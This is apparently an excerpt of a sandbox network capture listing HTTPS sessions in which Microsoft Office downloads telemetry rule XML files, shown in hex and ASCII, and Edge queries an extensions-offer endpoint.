2024-11-24 03:20:38 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 78 70 4e 72 57 4c 6d 56 55 71 59 64 78 48 77 61 73 48 65 36 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4xpNrWLmVUqYdxHwasHe6w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:37 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:37 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032037Z-178bfbc474bp8mkvhC1NYCzqnn000000056000000000dv29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:37 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:39 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:39 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032039Z-178bfbc474bpnd5vhC1NYC4vr400000005cg000000008933 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:39 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 77e83d57-401e-0016-5857-3c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032040Z-15b8b599d88hr8sfhC1TEBbca400000003t0000000006rng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:39 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032040Z-178bfbc474b9xljthC1NYCtw9400000005b0000000005w64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:39 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 3074f9d5-701e-001e-47fc-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032040Z-178bfbc474bp8mkvhC1NYCzqnn00000005b00000000005k9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:20:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:40 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 15dd4eb7-201e-0051-500a-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032040Z-178bfbc474bfw4gbhC1NYCunf400000005bg00000000eadf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49822	94.245.104.56	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:40 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:41 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 24 Nov 2024 03:20:40 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:42 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032042Z-178bfbc474brk967hC1NYCfu60000000056000000000a00z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:42 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0fd64145-d01e-0028-790a-3d7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032042Z-178bfbc474bh5zbqhC1NYCkdug000000056g00000000ncnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:42 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 91947494-701e-0001-6f67-3db110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032042Z-15b8b599d886w4hzhC1TEBb4ug00000003w000000000dncf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:42 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032042Z-15b8b599d88wk8w4hC1TEB14b800000003zg000000002bu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:42 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3585b350-301e-005d-097c-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032042Z-178bfbc474bwlrhlhC1NYCy3kg00000005eg000000004awz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
